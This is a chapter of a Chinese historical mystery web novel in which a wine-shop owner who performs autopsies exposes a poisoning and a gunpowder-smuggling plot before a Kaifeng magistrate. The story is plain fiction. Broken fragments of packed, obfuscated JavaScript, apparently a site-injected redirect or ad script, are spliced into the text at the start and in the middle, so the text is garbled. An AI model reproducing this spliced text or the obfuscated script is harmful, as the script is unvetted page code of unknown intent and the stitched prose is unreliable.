RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周铎走到他面前,盯着他的眼睛:“你究竟是谁的人?!跟我到这里究竟是要做什么?!” 许云洲咧嘴笑开,有气无力:“大人车马华贵,想来也知道许某最爱巴结权贵,不过如今看来,小人是惹了大人误会,让大人受惊了。” 周铎又盯了他片刻,咬牙切齿:“我看你还是就此消失为好。” “大人是想阻下新政,牵制……王相公?” 周铎表情僵了一瞬:“怎么,你想活命?是不是有些晚了?” “虹桥那些人,是为平户部的账,可大人细想,真的能平吗?” “你想说什么?” “一座桥,皇城司乱不了。”他压低了声音,笑意不改,脸上挂了一道血痕。 周铎直起身来,退开,抬了抬手,暗处走出几个青衣仆从,给许云洲松了绑。 “许先生有何高见,我出双倍价钱。” 许云洲转了转手腕,悠悠哉哉将身上衣袍整理了一番,拍了拍灰:“大人现在带人离开这里,两日之内,若没有好消息,春风酒幡大人可以随意处置,若事成,许某自会登门拜访。” 29. 但凭公断 破烂屋子外面,方离抱着小男孩玩抛高的游戏,柴房灶台边上,地窖入口开着,火光从入口处往下消隐,脚步声在许知非耳边摩擦。 地窖里有个木棺,没有封,妇人低着头,走到木棺旁边,转身面向林修,跪了下去。 “那晚孩子病了,他还喝得大醉,半夜才回来,身上还有脂粉香,我便与他吵了几句,他动手打我,我用力推了他,谁知他头磕在井边,就……就……”那妇人说着又哭起来。 许知非上前推开棺木盖板,熟悉的腐臭味扑面而来。 她拧紧了眉头,伸手去碰了一下死者左侧颞部那一处伤口,表皮脱落,有淤血,边缘不整,确实是磕碰所致,她稍稍用力按了按:“颅骨没有明显凹陷或骨折,不像致死伤。” 她看了死者口鼻、指甲,从怀里取出了那一卷布包,展开在盖板上。 十五把柳叶刀齐齐整整插在布包内格里,她抽出其中一把,伸向那具尸首:“把灯和火把都拿过来。” 林修找来了油灯,将固定在墙边的火把取下,走过去。 光亮照在尸首的脸上,磕伤表浅,没有颅内出血的征象,口唇紫绀,她握刀的手停了一下,眼下开颅条件太过苛刻,她决定先验胸腹,刀子落在尸首胸部正中,逐层分离组织。 大约一个时辰过后,林修手持光源,丝毫未动,比灯架还稳,她抬起手臂擦汗,轻声道:“水侵肺络,肝脏坏死,跟钱员外一样,他是中毒而亡,与磕碰无关。” “什……什么……” 那妇人腿脚跪得麻木,本想站起来,一动却跌下去。 林修把灯和火把安置在原来的地方,一板一眼道:“他死前说过什么?” 妇人艰难站起,眼眶还红着:“说……说……” 许知非将刀具收进布包里,卷好,有一搭没一搭地看她,有意等她顺好脑子里的筋。 静默中,两个人看着那个妇人,她攥着腰前系的隔布,在棺木旁边来回走,看样子是花了好一会儿想起来,双手松开,又抓了抓大腿两侧的裙摆。 “我们这样的人没什么要紧的事,要说特别的,我记得……他先前说过,自己摔坏了一箱货,扣了半月的工钱,家里生计本就难以维系,我便宽慰了几句,随后这些日子……我和孩子都是喝米汤,吃腌菜,饿得睡不着觉,我便起来带他读书识字,累了也就能睡着了,谁知前几日孩子病了,连请郎中的钱也没有,他那副样子回来,我还以为……以为……” 她说着又要哭,许知非没听到想要的,追问道:“他去哪里喝酒,谁跟他喝的?” 妇人擦了一下眼里还没掉下来的泪:“我假装找他时问过,是前面那家胡老头和他对门那家邵老三,他们都说他回来了,我便说没见他回来……” 许知非点头:“林修,去找孙推官,带着雷二郎和胡不言来。” “我让方离进来。” 林修说话没有语气,转身就走。 许知非看了那妇人一眼,枯黄的头发,消瘦的脸,疲惫和忧虑将她压得思维凌乱,她最清晰的一件事:护着那个孩子。 “你到城东水门外去找风月楼的岑掌柜,就说许知非让你去的,找他谋个打杂的差事。” “岑掌柜?他不是……” “风月楼这些年的积累,不是一场火能烧干净的。” 方离把孩子放在地上,那孩子立刻跑到他娘跟前,蹦跳着:“阿娘,那个哥哥说我能跟他们去个好地方读书,还能习武,是真的吗?” 那妇人抬头看向方离,一脸讶异:“公子是说……” 方离眼神妩媚,手指伸出来朝孩子点了点,手腕勾着个娇嗔的动作:“你要是配合,这孩子,我们要了,将来不愁衣食,出人头地。” “呃……这……” 他姿态阴柔,却带着由内而外的威慑力,那妇人有些愕然,看向许知非。 许知非想了想:“你先带他到岑掌柜家,后面的事,我看了情况再给你安排,记住,躲好,除非我找你。” 她点了头,许知非又转向方离,冷声道:“岑春云家你不要说你不知道,帮我送他们母子过去,不能有任何闪失。” 方离愣了一下,干笑,朝小男孩招了招手,“走吧,哥哥先带你去个好玩儿的地方。” 许知非盖好棺木,最后一个离开地窖,天快亮时,孙推官和胡不言才匆匆赶来,马车停在破烂砖墙外面,砖墙刚好挡住了马车的轮子,那车厢就像是砌在墙上的小屋子。 雷二郎骑马赶到,身穿皂色短褐,腰间革带挂着铁尺和绳索,身后跟着几个小吏。 许知非等在院子里,屋里已经没有其他人,林修是给孙推官驾车的那个,走进来以后就站在一边,好像机器人复位…… 人来得很齐,许知非对孙推官拱了拱手:“见过孙大人。” “免礼,许坊主这是又有什么发现吗?非要本官带人前来?” “孙大人,还请胡老伯到地窖里查验一具尸首。” …… 周铎带人从废宅撤出时,他们正好赶到。 “周枢相!”孙推官当场认出了那个背影,抬了抬手,雷二郎带人拦下了他们。 许知非看见屋角一个黑影跑了出去,林修眼神动了一下,却没有其他反应,她装作不知,可她怎么也没想到那人会是青禾。 关押许云洲的地窖里,他们搜出了数十箱硝石和硫磺,而许云洲一脸震惊:“你怎么在这里?!郢六娘呢?!” 她给他松了绑,将绳子扔在一边:“那么惊讶干什么?我就知道你不安好心,六娘不知去哪里,你别想把她送入虎口。” 他却没有一点要谢她的意思,让她有种自作多情的感觉,他却像吓呆了一样看着她:“外面有人?” 林修从木梯上下来,拱手道:“公子,孙推官和雷捕头都到了。” 雷二郎随后而至,带了几个小吏,他对许云洲抱拳道:“许公子受惊了,卑职这便搜拿罪证。” 他和那几个小吏从许云洲身边跑过去,开始搬抬角落里那些木箱。 许云洲僵在原地,脸色更加白了些,神情仍是震惊:“不对……不对……”他看着地面喃喃自语,像是发生了什么意料之外又很可怕的事情。 许知非歪下头去,以确定他能看见自己:“喂……喂!” 他一抬眼,仿若看着什么怪物,眼眶瞠大,盯着她。 许知非吓了一跳,稍稍退后:“干、干什么?我救了你,你不明白?” “不……不可能……不是现在,太快了,不可能……” 地窖外面传来骚乱声,一个小吏在入口大喊:“雷捕头!周大人遇刺!周大人遇刺!” “奶奶的,老子倒要看看是谁在老子眼皮底下闹事!” 雷二郎按着腰侧铁尺爬上木梯,片刻,外面几声惨叫响起,地窖顶上传来重物倒地的声音。 林修眼神骤冷:“公子,能动吗?” 许云洲仍盯着许知非,声音极轻:“去吧,留活口。” “出了什么事?” 许云洲转过身去,背对她,没说话。 她轻轻走近:“你……干了什么?” 他闭了闭眼:“你不该来,该是郢六娘来……” “可你不是要郢六娘顶罪?” “而她会跑到这里,然后皇城司的人会起获这里的东西,藏在附近的辽人会出现,但现在一切都不对了。” 许知非觉得好笑:“你也太自以为是了,难道你觉得这个世界会按你想的方式运转吗?” 许云洲“嗤”地笑起来,转过来时样子比昨晚更疯了些,眼角发红:“如果不是这样,我来这里做什么?” “公子,孙推官遇刺,周大人为保护孙推官也受伤了。”淋雪阁里跟来的其中一人从木梯上跳下来,身上几处伤痕,衣袍破开的地方带着血。 许知非没明白许云洲说的那句话,紧接着,她也震惊于事情好像没有按她预想的发展,自己刚刚说的话又拍在了自己脸上。 从地窖出去时,孙推官已被人扶走,胡不言在检查伤者,周铎手臂负伤,满院都是木箱子,石炭味和硝石味混在风里,雷二郎脚边躺着几个黑衣人,有几个受伤的小吏躲在林修身后角落里。 周铎看许云洲的眼神很是阴鸷,他说:“许先生好像并没安排好,幸好本官安排妥当,你看,人赃并获。” 听起来像是许云洲跟他是一伙的。 而许云洲勾着笑,眼神渐渐冷下去:“大人一向周全,但这人脏指的是……” “刺客……和……脏物。”他目光落在那些木箱上,说得很慢,语气另有所指。 几个黑衣刺客身材高大,没有什么重伤,但都倒在地上,许知非一眼就看出了那是装死,皱了一下眉。 雷二郎大声道:“多亏许坊主报官,还请随我走一趟,也好交差!” 许云洲将她挡在身后:“坊主报官是在下的意思,不知在下能否也领一份功劳?” 雷二郎愣了一下,抱拳道:“原来是许先生,自然可以,请吧!” 那天辰时,权知开封府韩抃端坐堂上,左右两侧分列推官、判官,孙推官脸色难看,苍白颓靡,右臂缠着白布,坐在一侧。 周铎立于堂下,袖口染血,身后,是腰佩银鱼袋的监察御史里行。 他拱了拱手,沉声道:“韩大人,周大人与我暗中巡查西水门漕司码头,发现有人藏匿违禁,故找到了那处货仓,不知为何要在贵府听审。” 他身上当时并没有那个琴轸纹样的玉佩,许知非还以为他是周铎的人。 “韩大人!草民要告周铎周大人私藏火药,勾结辽人,杀人灭口,证据确凿!”她将证物都拿出来,一样样交给了雷二郎。 “登州船入京三十箱药材,皆是硫磺硝石,十五箱本应入库军器监,却私藏在宜林脚行那间废宅仓库的地窖里,勾当汴口私账有记,二月十八太原船入城,有二十个油布包裹当晚送进了废宅。” 她看向胡不言,声音低了些:“脚夫吴发,因摔破箱子,发现火药黑沫,遭人毒杀灭口,胡老伯已亲自验看,其妻与同饮脚夫皆可为人证,且周大人做贼心虚,无故关押许云洲,滥用私刑,若不是我与孙推官带人赶到,许云洲怕是也遭灭口。” 她走向许云洲,看了一遍他脏兮兮的衣裳,腰上那枚鎏金琴轸此时尤其晃眼,她忽然拉起他的手,将他衣袖掀开,露出腕骨位置的绳索勒痕:“人证物证俱在,周大人还有什么可说的?” 周铎冷哼一声:“韩知府,本官昨夜确实在那废宅里,但是为了追查违禁物资,至于许云洲,本官见他鬼鬼祟祟跟来,以为是贼人,才令人将其拿下,若早知是他,呵呵,就不会误会了。” 许云洲走到堂中央,朝韩抃拱手道:“确实是误会,小人惯爱结交有识之士,这才跟了周大人的车马,”他看了一眼许知非,抬手示意她先别说话,“但小人确实听闻军器监入库记录里,登州船三十箱药材入库后,出库十五箱赈灾,可开封府养济院却记录显示,同期并无流民需要赈济,这十五箱药材凭空消失了,如今出现在宜林脚行……周大人私产的仓库里,也是真奇怪。” “什么赈灾?谁说赈灾?我怎不知?!更不知那些东西为何在宜林脚行的仓库里,我看这兄弟二人分明就是蓄意陷害!说不定就是他们干的好事!”周铎官袍一拍,抱臂昂首。 堂外,一名小吏匆匆跑进来,呈上一份文书:“大人,码头又查出二十五箱硝石硫磺,藏在另一处货舱里。” 周铎大笑:“韩知府听见了?又查出这么多,这说明什么?这说明确实有人私运违禁物资,但此人绝不是本官!若本官为主使,为何要分开藏?为何不早早销干净?” 他转向许知非:“你口口声声说本官主使此事,可你有何证据证明这些物资与本官有关?私账上写了本官名字?脚夫妻儿可曾见过本官?许云洲都说了是误会,你们即为兄弟,怎么不知道先串好口供呢?啊?”他目光阴狠,盯着她。 许知非本想再与他辩驳,许云洲一下拉住她,那几根抚琴的手指死死扣在她手腕上,力道大得像钳子。 “周大人莫怪,春风酒幡酿酒水源前几日遭人下毒,我与坊主一路追查,发现事情远远不止我们想的那么简单,这才追到了码头的漕运物资上,本就不是专司 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你……”她往左右两旁看了看,预设要是他动手,这地方她能往哪里逃,脚步一点点往后退。 许云洲眼珠动了动,目光在她脸上转,果然伸手拉她:“你先跟我回去。” 他死死扣住她的手腕,她挣扎了一下,纹丝不动。 “你放开!公堂之上,你……”她压低声音,愤怒又不解。 许云洲没有等她说完,转向韩抃,整了衣袍深深一揖,高声道:“韩大人,草民有一事相求。” 韩抃眉心微蹙:“许先生请讲。” “花火节将至,许某忙于准备宫宴之事,这才让许坊主对投毒一事过于焦心,没想到随口一句报官,她竟当真了,故而生了此等误会。”许云洲起身再拜,“此事本不想拿出来说,免得以为草民仗势而来,但许坊主连日奔波搜集罪证,精神已尽溃散,昨日夜里至今更是未眠未休,今日贸然登堂,言语多有冒犯,实非她自身本意,也非许某所愿。孙推官专办此案,说得恰是在理,所呈证据既已交予官府,后续事宜,但凭大人公断。只是……” 他看了一眼许知非,继续道:“坊主已有些神志不清,昏厥之兆,草民斗胆,求大人容草民先带坊主回去暂歇,若大人还需问话,许某亲自送她前来。” 他说完,又深深一揖,眼神柔和却带着决断,从韩抃身上扫过,径直落下去。 许知非不明缘由,这都行?可她哪里有昏厥之兆了?只是有些…… 她就那样想着,忽然心口一悸,眼前失了光,有只手扶住了她。 “怎么回……”她腿脚随着软下去,睁眼便看见许云洲担忧的神情。 周铎看在眼里,冷笑:“韩大人不会这样就把人放了吧?本官颜面何在?!” 许云洲一只手扶住许知非,一只手从怀里摸出了王楼的乌木牌子:“周大人教训的是,只是坊主若昏在这里,反而耽误案情,大人追查的事怕是也要耽搁,那祸首贼人便可趁此良机逃脱,草民只想求个恩典,若大人仍觉得冒犯,咽不下这口气,”他把许知非的手放在自己手臂上,稍稍按了按,示意她扶稳,双手将木牌呈向韩抃,“这是王楼存酒的牌子,值些……银两,”他把“银两”二字说重了些,看向周铎,别有意味,“草民愿押在大人这里,担保坊主,必不逃离。” 韩抃双眼微瞠,盯着那块乌木牌,抬手示意雷二郎去接。 周铎也看着那块牌子,当即气红了脸。 许云洲神色从容,像是故意对他视而不见,把那块乌木牌子轻飘飘给了雷二郎,公堂静下去,气氛忽然很怪,没人再说话,连脚步稍稍挪动的声音都能清楚听见。 许知非还以为是王楼面子大,如今想来,是许云洲这所谓副使的面子大,那块牌子应不是常人能有的…… 那天韩抃从雷二郎手里接过令牌,正反面细看了一番,随即将牌子郑重放下,抬起头来摆了摆手:“罢了,带她回去,明日巳时,脑袋清醒再来听审。” 许云洲再一揖:“多谢大人。” 周铎怒而不言,脸色又黑又红。 许云洲扫了他一眼,转身扶住许知非:“走。” 许知非张了张嘴,本想说她有话没说完,抬眼却看见他眼里满是恳求。 “回去再说。”他牢牢握着她的手臂,将她搂向自己。 她余光瞥见周铎要来阻拦,而里行拉住了他,跨出门的一瞬间,扑面而来的阳光刺在她眼里,痛觉从眼睛爬到太阳穴,然后顺着她的脑袋往脊柱蔓延,她就那样没了意识,再醒来时,人在马车里,是林修和方离驾的车,外面是闹市,马车走得很慢很慢。 “许云洲……”她动了一下,手肘碰到了他,见他好像睡着了。 她坐起来,本想动一动酸软麻木的手脚,他却惊醒般猛地抓住她,做了噩梦一样,眼里全是血丝。 “知非……”他目光在她脸上徘徊,像在确认什么事情,之后慢慢松了手,“……你醒了……” 许知非没有理解这行为:“为什么不让我说?你又为什么不说?他分明就是把你捆起来审问你。” 他闭眼低头,脸色有些发白,像是真病了而且很难受:“还不是时候……他死了,还有下一个,事情也是一样的,我再多说些,他正好把先前那几桩案子再翻起来,扣在你身上,你一个酒坊坊主会验尸,本就不合理……” “……你怎么知道我会昏过去?”许知非盯着他,怀疑他神不知鬼不觉地给她下了药。 “我说我懂医术,一眼就能看出来……你信吗?”他慢慢睁开眼,看向她,眼神意味不明。